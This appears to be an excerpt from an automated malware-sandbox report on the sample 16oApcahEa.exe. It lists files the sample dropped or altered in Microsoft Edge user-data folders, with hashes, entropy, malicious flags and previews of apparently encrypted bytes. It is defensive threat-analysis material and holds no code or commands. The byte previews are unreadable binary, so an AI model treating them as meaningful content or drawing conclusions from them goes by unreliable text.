SHA-256:	3E63F1198006213ED083BF9546C26E15392FAD1616CA5555C53F0ECF67A63DA3
SHA-512:	0EE95FCE6E03897CEC98E3DBB9BF6C26DAEC07730EB261652BC1F79E742AF2C49CE121FB2512337281349AF83D0DA0033470E302C4F125A746B61DE4F397C388
Malicious:	false
Preview:	!func..6..F.Oh34g.6...Q..\|.U).r..-D.c .{.d\.._...Jlp.f...K/.........E.s...._.X.'..L.a....d.k.n.....#.....N.....R 9.58.hD........T.Y.'....[.r]O.....!7;...x...GAj6&...YKbg..C...O...:..86)..)f..D..(g....Y................C.. ............t....I...V...T[....SS...I.3.`..teEw4#...,w.o............ .2...)..M-R...~....8.h(.,b...)....[.R....r..f.Gf.P.y..:Rx.e..^./.\6r...g.G.y...AO... .G..;.'..{....A.JSPm....Z.w.._jU....j........\...#.:P#....7..p..`T...!.&8F....g.~..j..mL......?.4.,5......:k..%...x.D..7...j%.bZ.0zG...S..Q..-#...s.;..........@.'.FEaY..s..[D..Ug.....I....].J..N&.f=,\{j.u..a......Kg..BQ<i.:.0c<...........k.}.v.W5.C.K....sg.....s.7....l.;.....Y?..].:.>.....?..'.l..U@...}..d.....\.a$..$...t.I.].#bZ.JW&..F.Z.....8B_E....62.xJ...y.mW.....y1.@f.r....m.......2.!.n-....f....F.ky1.@..@.k..m.H.......J...=..T..w=.........lr.9a@[.o....S..........9..f.q..p.G..F.d.L+.H......n6.".-..M5eh8{...C....Y(...L.f.w...`..).......VC...-.P..Y

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.36963482503278
Encrypted:	false
SSDEEP:	12:TuQpaaBwU+o+mnaxIV4/2kNDG+MRmS39M2cii9a:TueaCPjnauV4/2kNDG+MT39pbD
MD5:	FC5F004768D547699078103795BF631C
SHA1:	B5BDBE296BC31890255BF6CD244C824C4A1514C0
SHA-256:	2A12E3BB498AC2F144EFD52A9FA2A16DF479E7E293CC5F9B1E2FEE51F07EBB23
SHA-512:	C0182CCA6E78EF4C4906E23403F97A1995BA62D4343D564FA0D56EE4894AE8F6881BCD3403A3E4ADF7C5A4E38CFDFE13AEC179D074D67C870F7FA3330340CADA
Malicious:	false
Preview:	1.BB7(.V..x...TAOm.W)X.t.\.yl>......X..\..8........z....b...W..[.6.....w.%.;Z.Xv..[92(*...T......Lq....T.!.W.G.8....8_X..]..O._Il_....J..m....O.;.E.)j\|}.....s....5.4.e7/.... @B.2;..\ae...ax..FR....d.e3.......,.y..'I.1m.Z.C....l....l..........Be.?fr.u7.Lv...j../..t.Tr.'.U@93.o..%...6g~.}!e..^..WF..^.=W...X...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	7.401794082806657
Encrypted:	false
SSDEEP:	12:LloYU3t8kNtB9ZoqKnNYGd2a5rKW+V9M2cii9a:Wx3tdjAqCNrca5r7a9pbD
MD5:	437832679E7B536CA97416FBEF65FBDD
SHA1:	388BE99527CDCAA3B8C7F441E9E872934D94693E
SHA-256:	7ACA9631B10C152EBF5E3AA8CEA264E812642F09A0B0610E14F4471617EBF58C
SHA-512:	416785F2C3EB3F1772A9B78394F351A8FD03010ECF3D854FEEFE281FAA86F984FA79712C825F830B98B06DE1E9D2EC46A850BC23E29F5989145BCF8B3D8FF342
Malicious:	false
Preview:	{. "an.)`>.+?o(U6xtY:V..EQt..{.1L.f.\....&.L..B...&..H..n..U.h..x.`f.](...@E.X~\|....]....[K.,.ot....>..D.i$S....9....O...ak.@..2Q.....dD....B{.a.A...k.1.\|.P.IV:....<....)....P.3...u..yqQ..(.....4......fe..2'.S...>...v;..CkLQ...2.1.......j.....<.....y....Ee...s.!q.L..5..=.N......\|E..bre...........M........Q....Ze7... 7xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\sets.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	7.79608181791867
Encrypted:	false
SSDEEP:	24:Y8EdPjF0T8hjNNdy6oY7oOpP5g96rpg2iydgKPQ9pbD:YbxRhNyYJP5gvc3PmJD
MD5:	AEE3DB8CD68F3B720A47EADDAD0A73DA
SHA1:	E4517BAA71F12A3E40F0463E054260924FEA4C07
SHA-256:	3B4EC56174D376BFEF52C99DF02AD04573E68BF1CE782F73D5DB40918AD715A2
SHA-512:	1FD9F970C27C075DFBED0426E974A7455B82C322EA5BBB1F005982A09CAA963103CF2888D935A6D2D08952902CFC24B59B4161A6FB67DA1C04B3D006C41B6732
Malicious:	false
Preview:	{"pri...$x:K.i.5....8..0...N....IF/1BG<E.R:....c....)P..\|.D..N:....s.Z...nfZ".I..i..Q~F.\...>.lfO....n...\|..........+^h... ..D.@.........I....\..C8.y...-...o.O..hk.8:.eJx...[...>.KQ..X.8.n.c&.!..xl..Y.A.....&.V7.g../.F......t..Q..K...a1.Z.6L....sRN`q...+...:Y#.C.UayV.....zA....k?.Q.....d...s....-.s~.+..g\Ba$..a......j...I..s\|.....g...X.N!. " 0...(....~."T...T4k....\....Wp.D<..'........kN.s......;...b.$D.j...&..y.....x.D'.z....@O....F.....-Y.?g..x{.,....Y.n.1".....u...5F.....".....%..u2R.......r\...F...`.3\+...i.]....n.!.h....SY@.S..-..F..[.W.l...<5.b$.".j.....W.....x.<yh2k....ey...=...d.!.._..K.2>c.=.......~6..[Y.i..9...\|.b......: q......JE.k...9I.JDo.3.............q....."...)....O..7).{}w.FlO[.[...Z>..SBM..U..RE...;}...2z..Y...fk....4......$..4........IXS....3.]ST:uF....]1%...\.p..-...$.W......W.l..+D6Zh. ..{...S].b../.-....w8.....K....;..>tQ..%..d...n$.R.!....+..;Y...m..{.y..1....#..x..8.0..xA..t.d..9_C..{...y.A.-.v[H....c'>............'H6.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-as.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.797090815707676
Encrypted:	false
SSDEEP:	24:SFjWz4KzgMuSvnR+bTVp0H2CyhEZhsbE/BAhBrArpxY839pbD:y6zxg8H3hKE/flxY8NJD
MD5:	A80CC248E7E69E6447D37CE36DCC4823
SHA1:	0E2947CD3EFB1BA7E239A173A76097AECF62CA04
SHA-256:	D6E93FEEE01F4D9D6205E5487EEE37436820EAEDD89D908BBFF901BFB1C1DEA9
SHA-512:	C7A8130EAEBA6BAAF66CFDC7F458F7EF021CBC162AA0722825963DAB8FCE732555C824625F10484FB7B0FD9406458D03EB232C73D37EFEA6D4A31B8AF2298A6C
Malicious:	false
Preview:	hy.b.1.e_g.6...[W.).41.(;.._[zIv=qm..9.".D1h;..]...k..]..T....aV..L.RZ'P......kN.......@..H6~.p.N....v....n...t\|../....tdY%.......`.mt.K....<...-..'..HzL.\/hK..........`.d{.Q../@.......<j..0=....F.Tv....s.r..... ..;.a..~...C.........=N0........2z8[.~..z?.?wq~.gY....(`..3(`.Gu.,._..Qg..x...x........ze.:.h.j.G.<....fY4.z?"iz...T\|.D&RK.,B..Pw6......h.....aq.S..]B.ul..c..>.....rm.C.G#......fR.....B..,..MTU....>..aB,..r:$J.iRm..-G@.NM...H.[j./.`..~......yv.^fY.:.M.....Sq.P...u..C...M._.......O.../.3`....x.o.xd].E..B.6!...T..9..oa\.Pl..+...Z..!'I.\{$......)X#.<..k.+..w...'..y.M....#.?"e..W...s3....C.S.@..<.q....P7...1...o0=J.....2.oL.....T.2.[;[E.G....h!e.B.......4...Qq..+..VB.T.......{.I.\|.#......@.C.Kw.l...r..p.Ab...w.;I..r...Y<...C..O.(..m$oJ.V.Z?...... vi....?..._ef..Dh\..Q.....@.j.N...h.D..)y...7........F.R...~....G.6..H.?...^g....X..*3ps.." .:-..............o{...@j9.N..)_......o.......&.D.h.$....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-be.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6432
Entropy (8bit):	7.973855332581102
Encrypted:	false
SSDEEP:	192:m8LrvAft59roGd7bQwxf9EdhTOqqyAjzu:/rmT9roGb5Erd2jzu
MD5:	43A0E76BC1FFA3B6921FC023B0EB3EE6
SHA1:	FC8C417FA17D3FF1D88A511EE95B2FED7F51CF33
SHA-256:	746B602A47554B33C0D13C794A730C4F6B3E255A56405270BA126FF6CF207CB4
SHA-512:	BEC683F8DB109DE7B2008F54C6BC29D3D1E712849A2814F3C7425B8A054690B3936DE5A796A38E57914734A01C244A1E7C30BBA70750F3608C0719081BCA7DDD
Malicious:	false
Preview:	hy.b.n...^s..7+...G_..s.&.#~,.......C.q].x.v.0f.l.c..t,..Gjk8Y..#..-.......#..Y.N....V(....G....8:.7.<....~..3?^.~h...=..l`.e....?.O@R.m..].5......q..r9.lNx.....{G%....C.....v...!$...v.2.I.l..9%x..x....~...?..'.{e..+.........f....c.9jJ..Tn`....D0..E..[...P.].{1n.d...nu.>...=. .;[.....O..H...?8}v..c$Q.njK....f@J2J/j......53k...>..D0e...ez...\.r#+..S..@.}.....?.......y}............E...[p.=.+7..../0?..h. ....b.!.uI:...3.....,E..I2....aI.Z...~..Z........'..e6.u.L.....X.r.q.8q...e.F)...\|.........K.7].......r.W...s.=A.sa.....e..o.......g.....<H.....m....}_J..^r....X.../I\|"_....H....6..q.=.....&0..#.C..3.....X....9..)_.(....#^.3Q.NI.#cR....).mUV.T!..u..?tA.........X..t.q....l.1....-.x7..NXu....\.].i.........[.9.];...9S+...........s.zH..`......h.A.T.o...t.O.V/...d..'+8..v.i...5.d..C#_o ....H.X........rz;....N..D.......p..pP.Q....)..X.....nSb...@7h3q.e.......2.......de.J.'.l...u.N}.biS8........#P...A....F..U..0aF....i1.](.......(6.t

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-bg.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3801
Entropy (8bit):	7.954956397057578
Encrypted:	false
SSDEEP:	96:z2dUnU6j1/txWJQJllQmBWUck75gJUpKcT2dzuKmxl+:zYUnUE9tGslnWUcFJUpL2dzxmxA
MD5:	DCB31B9E95072495CDFD24E3F17821FA
SHA1:	3BFC7762B7D0148692CE576635579E0C7ACD20FE
SHA-256:	BDEACABAD845F4DE335563D67018B45A410C590927C4600A341E944ED011DBED
SHA-512:	53B3991A68C0D926BC81D60EA64CF8EE87B5F2F1CD59CE11CA2F10462EDDD9412A052C90FE3A272893F2EABE1E250D2F46960F8F6703100C71AB770832665503
Malicious:	false
Preview:	hy.b......ln.....x)Jl....,:g....O...].Tu.(.R.'.ga..Z...G..&)E0v4.......{......@......#.].~lg... ...VLo.... Q..=(g..F..h.P..Xz.>J.E..+)..O"F.6...FHQv.5m..C..(I.c....]..N.q.c......!..G..8.....G.S.,E../........-@..Z.........a.?.....~k...e':-.6...j..n............7.9"....V.!.#w.k5...Ge.o...-.s9..vu.cjH.wO.^].9.........eYg.s^i.l......EM6f...\.p.......'.D..g.2.9.c?V..X..j.....X..=A....j(0.I..R..'K..&R.m...]{4D....@...:...2..`b...!..I7...@t..7.P.}..%.3..\|D....P.y.../.-..p....L'-..z.XO.....g...v-o`..bl2bR`.".'.y.n...>..m...mW...H.......+.o/..'....s....mU.y[ae5&.j.x..U.Jhv.n.....v...J.P....C....>...Y.....K.5..I./I..4.J..a.`.../m..C..v.%a.K..&Z...e_...JK.d..".....I..X..%:.Y...0V.e.=.N.....t.i.......S'.hc...`...3.L.ne..ZScee...dB....+n.ZR]F.#..9^1.C%.u...&._i.t.L........it..;j.^u.$oK..S..T..`...9....F....s.......C!....=.2.r.@......:n..,.I.3..-.l.....nh.. g.)Bwo.i....0M..&Q..M0..g..:.X..q......?..7.z...c+m....].....)..i.Y..=R.k.`5.aC'\.h*...\|..w../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-bn.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.803897987000538
Encrypted:	false
SSDEEP:	24:9el77Om37zG/8IK/2LD49XgJ14D/WHzPhkpjG9pbD:El77OmLz6K1G14LszCqJD
MD5:	9610839A0801EB3C54B32E0D6C55E126
SHA1:	96F6B37AE8B745C378C9DC1619E931E7B168C531
SHA-256:	AC9F2695992B38678672CA27213A897126ED34D4E666F0F4F3EBB66084893477
SHA-512:	E287B2C96D5BFC74025BDDC59093F608A9CB38A7EB62DED62CA83A6DD6330FF62BF855358FAED1D83B65A7CEB8F8E703B93DC6DFDF1797CF43CABE71AD4D9955
Malicious:	false
Preview:	hy.b.w.e&l..-x-`.....R.~..4..qd/O..Y..%...5....:..s.../Q.A4n..(....Y,w\|..O\|......([.h....Ja.n.....K.........w(z1:...%....G{.5?../....t...FI.(k..i\;.....3....s.-...DGm-.z......&.9s.......V=.U0..Q......5.l[8(......>..:b..+..........xT.b.`.......Y....T..b.!X1.^...1.w..>..#<j+...?...../.@z..g.hn.v...o...D....3LT...N..Y..z..2%....r j.@\.Cp..m.OQ..2...S2..J.s+.].i.x...H.X...l\|.4.m...7]ePO.....:.::.,Pg.6.k.TM+._.JO.]...P...........`D.rd...{....]5.02Y...0.....Xsu#.\|.........s.......#&.Vf...R8>....S.FZ...#c...S......or]v.rp..ji..............&..l;.c.S.r.......(...C>u1!vc=?..^.W....r.E.0.8V.Xw.m.3T.1......E.w...D.........9..m...\./.....(.z.[gM.{...R%....-V...G..P...:....1A.}.$..o.A1Z.0\.x..7O...@.......Y)...I.j^5^..T.;.T...ao..xa.~+..}I-F.o..)ZI..\...,...!.}yl.{..}.......Q......,$......E.........z...o6.e,.....Y.A.kc....U.A...F..........v....N~.,.9Tp....G.[....1.]......N.....X._.....K.p.&.e....U$..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cu.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	53176
Entropy (8bit):	7.996919951328252
Encrypted:	true
SSDEEP:	1536:nuIOrMxLAPoR3O1SzCLjvLAFrcXrsBlLb5BS3YCgZcW:nuIyMxgoUOWjLAe0ZCgZ/
MD5:	605953777EE5C3415708B40221E4851D
SHA1:	702436663215F8A48E75E5084ABCE652052C98C5
SHA-256:	84F7ED059001E999311EE887C0FF2119681EA14CD3FD8E5A68E820CBDF979831
SHA-512:	5A5D67C9305DDBBA1C0F00C7E5F2804A0B7FF1391A10B1D14CA0141DC63223EB5E73F36F975D2FCB92B42A8CF2E80E577FFC76A86FAAAE479B8CF19BE12E64FD
Malicious:	true
Preview:	hy.b..CL.7....qS...f..9..I..."o.~`(s......$d..U.1..r.\...in.....(..!..".R\|...'W..H..uu..>... ?...1......!.....Es.?...l.w:.T..GF.KO.y.f.{(.[..I4r9(...O..;...t.;..;L.>.......%..l4l......>.. 8....{.....6.#......Li9#&[.Y...<,n.}.r..E.r.....i.4..}.b..m.=9Sh............g.a1y@...]..........>.O...u}..em9)...R.n..W"W...;&Sy.A`..m.F..I.l..S8.1..e........_...]n.{.a.m.i.....0..5Xwy.9.w.XD.{7.......T>...o...L.:..[=W..e..r...o..8.....,..p.....de0.N.:.U.....f.M..A)..E........9.)..>..-....T.'..#...x.w.....b...0_lq#...F.r.G..jg=..V.7u..Q...M.%pR.;;.......b$rK.}..7Z.D..kj..[n/./f..X.8.7h..<B.....(..$..2.-..@M....B..%F.............+..f......f.@d...3!...8..Q#Ns..S zne.5..&.......#Z..%\|....Q..u..?..!l............(+...!=L..t...h~............v#.G<.u!.`...p..qy_3..` ....f.h..n....M..[hA.P....9.MKx<..9.\....2..Z...ZD......".U`..0.....k.........P)...s..H..-(+cR.(.Y...85..\.....5&Y.O8.S)e0.0x..w..j..B#'&YT..D(......`7..9.y(..../.,J.T.p..`..c......&)..gP..=.\|.2J.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cy.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	36247
Entropy (8bit):	7.99485541203289
Encrypted:	true
SSDEEP:	768:jO4f8GxQoijYgmmJ8FZHLCH6IxsFmFBksyjKLU0h9:N8GxQPVEFZHeaIxif7jKLb9
MD5:	22CEF477DA6892B36B93CC92E30696C8
SHA1:	78978647D048303B336DD4848C80B9ADEB12BD5A
SHA-256:	4C1B618C12C8AD6B4FA9768152680A7BF7DB280738AF2E79188C5FC8ECF43D4B
SHA-512:	6C12459558EE234560D8977B6482B43097C58ACA8C62FF06A7C640796D208E73BF1F14391E724EB00BF5819837BFDAEB39CD40194A4BE519C2065D559F7A5D5B
Malicious:	true
Preview:	hy.b..rP..?.7K..{..3.BPH..w3I.r..Y.T..X.(.#.fH.D.:......#T....(.7.{.^......<cH.A.\.a....>p..3...Y.u..5.....m.,.!7 Tm.^..Q..F%l=.`a...M...=..)j...=..JWEIj..\b.r.Y.\|In...>....O........u..gC.....X...c.Z..b@......f6...X..{..O.d......xU...g..0.r......$..Z.)NQ-Q.u....f.4<iA.......j...V...@..\|ku@.w.~V!..cJ......?.8=V.,.Pk..!.}....A..j.Bl.=.3# ..YfvJ%.Mt.......a.y..c..3..Ug..).k^5...w.C.H.....[...HtyF...]}P.e.}...h.(....c...~D.i...2?.x?=g)%...3\|g.3.....rB..f..?.4...=..St.Uo...oqe......x.B.z...H....v...X6K...,]Ze..5...D.L\r.q...>.{.uC.6.xuW.t...".4.."8"....A.u$.3Y..)...;<U#..6H...{.8.W..l..&.UdwCC!..l.S3.R&.....E..T.8...jy.$..Z.Q.e..D.....#+ZFQ..v.#]wFO....d8..k....Z.....n.}......Zv.]........'..O.-.....Y..~..$.`v.....',.sn.....S+....N ..->..=.=e..L....q.kks\..W]....A.....1.e.46.Hu...i..P=.^.h...@%.=M.%......@..o..r^......9Z.U../.E%..jB....B.:......Pf.[.A....\|9..*..NhE.%.ZRL8..%.i.....)f5..\|.V..>..."...0..z...:...50!..........@Yv......[..h9...?

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-da.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7301
Entropy (8bit):	7.976041818617149
Encrypted:	false
SSDEEP:	96:33gnoP6CGHn3ZmPM0qs382sJR3+4DkubLfk12TkW+m22Fp4I/RFwsKYzfVY:ZP6eMNs382srO4pzkCkb924eF7KIS
MD5:	7E3A0F30A97CBFE5C4E7D379DC850C05
SHA1:	54F11B9CC4D0467F3E36D2679C01626206AB04D2
SHA-256:	C697F9A04AEDC9F9ADB8186EF657488D1D70E3854F96A3058A81386A20F697D6
SHA-512:	F9B65109B117B47625F23DE7BDCBAFCA7229ED126E145D37A894C0824D1BE8E4B87509A2885E0029685A59F500869BCE59096C043B4A4F1A5239DAA8B6A5FF63
Malicious:	false
Preview:	hy.b..........BVSS@.."....gi.Y..O.\|.El...].X.<e.x.'F....-..SV..:..".-#.j{.N..^.fw..-.O.k...m1....n.K]h.-...H..C..L.3;... ./.m...M.X-R.v.R.....3....C.1~.. ..h..@-.%B.}c..q\....Y...e.0K....x.......q.yoo....A+m..G.]C......5...R..g.d...q,..`yYB..hV.m.eD..4.]...V.{^...W.j...L....FT5..[.7.$.+{$.y_0.$x.I....3.SR..nQ.".....d.Y...vL/).i\|..k.r.3...MYY.2..(.?..].1..(@.}.r\..b..<ZNG......(.{kO.T.J...E..0..)._Gf.....)...[.v3f....<....fj.....U..+...a......;X...jn......._e. .zSs...W.66...WK....=.8='.......b+...^......#.z.D.a.Y;.T....oK%..4@."P2>~..IFN.'..p...;(f.,..v........S:...t..%.v;..f.9...S._..U.....%...H.<....^k.O....L+#..mZ.;@.%....^.]....DE..t....I\|).Y..".3.......LU.....(l ...d...M......._......ybz..v..d.a.s..$..nx.R.Z.@.${..Mr.Rio.y......el...W-..Ntu.\.......X.;.5...}O!.0}UH.:..j...5V`..a.....X....7..t..p...l0.22PG.a.nb.$)..Q.L..X....L.\c+....5.....%K..o`<E.z2.C.Z.s+^....8-.@...=D......JI..X.4.\;L.q.4i.a6=:g.N....E.M..q....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1901.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	121727
Entropy (8bit):	7.9984645053651
Encrypted:	true
SSDEEP:	3072:JvDBGO4SaqmUg/wR5oxwUxcCglC+MtKZHOX6LYsK6B:FPaqJg/wRNUiCgyKZHABsK6B
MD5:	5EBDE524213B29D643DC3720977E3F96
SHA1:	09C1F5DFEF06F32BE7A115CD1E6859868590CC04
SHA-256:	F28CFE921F44AFEE3C4C3771B17CC9698D768E2498C2A0CE4FAD942164870D98
SHA-512:	38419B134EA4A64FAD0FD4C3F366E41C76672CE8F2E8E7C8AA081791148867E5FC831AF1A7D54FCFCA0367534C589ED32C091BB77137AEFF363BD817C206ECE6
Malicious:	true
Preview:	hy.b...&7yl\|.....0;...$k..e..#O...J....\|.'..:.!7.mX.P..7O...ZS.${.......w.q\|.,Z..8...Y..t.d..4E..d?........W...o..P.vj.$w.P...h.s.7..L9.Jl.wr.F.9X....X.B.%..E..~.........F..]bh.11.[.u....6Gq.ty.H.Gk...H......-. ....54.(....s.t...SLz...p...h.M9.l6.n. NO.".&3..U........Y.rR.:.R....{S.b.KcL..[Yv._..J$..X..3.\+...[.g.2B]L!.{XB.../......%.].l&9.V2M........7#(v....0#j1.ws..be.{..X..Jdo.T.9<W\.,.t..+.[.6....:`F.{.^_.......'.(..vs.#z...4.yA....J9..D.........X.}....k...0.p.A.O..Y.i_T....i.t...O."..j...;....c.^2._...o.&...'.f.kv..I...+...K.*e2......^.]H..c......T...q.............y%.Z...~...]......J...eQ.!(.W\<1.!.....v..g...`..}.5.....`3....)A......z,.c..s...9.F k..3.S.&e.Hs.6..d....91....G.....p....R..N.....g..R.Y.E....w..G.........._.S<..W...-.#t<w...&.$Uy....m.D...>.....V.U.A\|B.......Y+A..5.$..I...+.....2.).Kd.z..v.-n.f^...8)..Z$+..tj..c0E.7...t...'_.JK...........R..,...&..D3....+D.fT0.lu.U.t.....qAtI.m...+..RQ.{..fB..j..<.K...1...H.Z.`

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1996.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	120746
Entropy (8bit):	7.998821697177059
Encrypted:	true
SSDEEP:	3072:tCdWY6t4SQMODDOLO7Q9+p4xNAt53/Qb331Y4frG:6WySQMnf944xcRoTFYErG
MD5:	778F62B7F48DB3BAB6E4766C312D2315
SHA1:	9EA2EF1CDD5D65823726B5405E8DA004E19F5927
SHA-256:	65D84D3D3114578E3C8F9E7E04119955A1589E3953F8A65C67179F42B16A6390
SHA-512:	5950D76A7120FD83A1FDEE91435C19B6EE456295F78FB435E1E42439E7629E4A27D63951B089331091A4BEAF3F2D124ABF30BFC845C3113A2E9432829EB8D567
Malicious:	true
Preview:	hy.b..=.x..J....?.9T........?h.[.T\X.1].v.....U..E.3)L......Z.U.1..F..&R.=.%....g(a....T(gl+.!}.w..3......[oh..-n.V...O..d...W....zAgmY.<Z.....j..:I..;..+.~......."..p.......S.5.}G.}4mZ...=......'.....R.5.E.;...:...%...b.....2.......,y....'.......?..'.........st.I.{?...w.Q....w..t.x}..d.6..\9..lE.WX.]d..Z.-..&W!...Xx..../....c.'........^g...'0....U..a.]DO.12H...P<y...........!.BX..W.)F3./.J.........Ge........F...:..f.....dI.e.p!x...<.OH.GP...~?.?".'4....W(n\EDd......o..m(. F.I.Tj...?.t.x....3:.Z....$.Jh....d.s.....0.WQ...%..~...L..e..E.mD...T.{i.hI..=P..x..z.....5....Z.u..s...g..L.b..Z-.?.c.......8~.3b.cP..81.;.....G.x..=MB.)o.....X...~./.u.7b..I..!.}..:}.wq.PJ}.q.F..~.G.p..:\..J..J.[....%.z....\|.T.bZs..<;E....,.Sy.Ir...\|,....o.c....I....cX.<.h.L.YF.^\|wQ7c.gww.h..(...O,5,&.3.s.N.......z...3...7...v.....E;...cIc.s..to.."..-.<.\C.z....b0*...... ....LZ.0P...../.... Kf.:\..>$.A...'\|9_x#nY.s......=G....].x..T.."...4....'...O....g

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-ch-1901.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	120552
Entropy (8bit):	7.998707155432511
Encrypted:	true
SSDEEP:	3072:zo6N1XU/IUPeI7cO6UcW/lII8Pah3/hI4bA:z31XHIeI7aW/lIIN3/hI8A
MD5:	CC0AC93CDAD45A172919F839AA356B98
SHA1:	3EF7A91074876AC6E75D0CB3BD0E60634CFEDA73
SHA-256:	CB1936EFF8BA03EF399A22C8BCAD92BB9C3B875ABDA0027E11E6E6628B912B82
SHA-512:	431E8909B41F5179C8177EF498073FBCB1E871F86E6235D77AD36CA26C6DFC952DDDBBC8EBCA238ECAC932F5D657F147E839A69F7E73134619E2F09DCC6DF65D
Malicious:	true
Preview:	hy.b.H.../....w....o. ..J.t.\Y.0G.@B..fH^i...-..+...P..)R.u..~..,...".q..I.....K...B.......P`k.XA...R..5..l~..lq[>......+.%...)..(..c..SD.~...x.(.,-D.....j.q%..bi..{I.;.j..H.d...S"...`Lf.Y..2S"...c.2...h'.L.:....'P.......9..g...)......V.j.u.aa...hu..I._C9....+...s+...O.\|..m......F..V..=!..o....xar.Y..D...\|..GR...K.O.GZ.....S.Ue..[..T..N..i......0, Gt.n\|..g.!. .t6.....2.;?D...2...=...6G..os..{....{...;v...p.5@..2%8k....3j.......W:k.iP.V...qWT.D.A..0..>...Ia...m..s.S.......cC...bo.MT.@.;i.5 l-&"..Y....B<.L.......2..OA%W..FV>.Y.Di.......r....t..].3.sD.......Bj#E.I..T"...177.....g.6....M..>.Re.Y..#.y@...k.n ..?...)......:"..n.{...s.mf.2..5HcL...j.A9R.3(.S..;.z....[Vd....g^./....-.gQn.....P:t.....L@..o{.0..s...i.rM...,.......q.J$.h...Q..;(u..Q.UW.....b6...0.3..;Z.=~].w2...#N.....8...<.C.YM,....A.....>./..I7......r.E....]..!.1.A.....<.u...<w....%...Q:HJ......m.Z.2..F}..^....}.Y@.k~.6.j..[A. }.8w...`.<wS.x..^....U..t..jA.&.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-gb.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	46941
Entropy (8bit):	7.996189414967079
Encrypted:	true
SSDEEP:	768:Syd5faBETBXjTGVVuf6VnRvDbLMIKtJTY/+O26o0Fl6zvMV7dFPcGxSkIlXKXRLD:Syd5faBETBTTkVnR7bLrgJTs+OMJzkjn
MD5:	47A59B497CD961A446F364014079005D
SHA1:	7197EE182F114B18E93EF793C2DFFF1B6284B074
SHA-256:	6D51295EE18992F2D38DD1E7080F2B4230202040BA02D32561CF18220B45C22B
SHA-512:	F1BE4AC172EE44212220E5569820FA15EBF115566552B5558831CD00A91DCD3709EB5D01068D522824BCBE529AF992D22C60868F130FF84FD98E8A7CBBAFB41B
Malicious:	true
Preview:	hy.b.C.R...m..c....S.(Oi).r.Z.q..i.p...i...8......Y.....~...t...h....4....4.Jes...x...9..e.7.c....!dR..........s..w.+v.[..N..Q.5..\|..[O'\|vB,....~..A./.n..9FHf.#.nh..5.n. ...n.0p.Edxo..f...;....@'......].E$..t~.89LL.s3..9..g..A."N.[.2C.....h..).a.T........U...#......._._P.......Us...3...3h.p'.AU.......u.Q.\N..P..\.[z..?...9.@.j..R...Tc......j..k......(...66%..v...M....h...Jg..}.nmmx<.f..u..Q_.!......!m...VHa.3=.Ii..:m..2..4..[.ziG.;I....WC..(.....R......1^...O..B.zq.....%..M.n.}O%..%.......... q...K.ej1..&/ l.q...-y.EGD.U.w....ZM=sw..'G....U...E\|W..d..b\q....C.6o.c...h.B@...A...c..rC^.#+.p.!..<Cn.J9h.6P.R.}....q....I...1.^...Z......S.0.tVY<....-..<...n6z~3..r.._..F. ....V6.9...@O......Z.D{.ve.......#.%a".".^.oU....k..0....ysBB.L..&...A...)R.8..E>AN:.A..Q..m....G......"t.\|.-.:\|..O....4p.P-.b"...z. 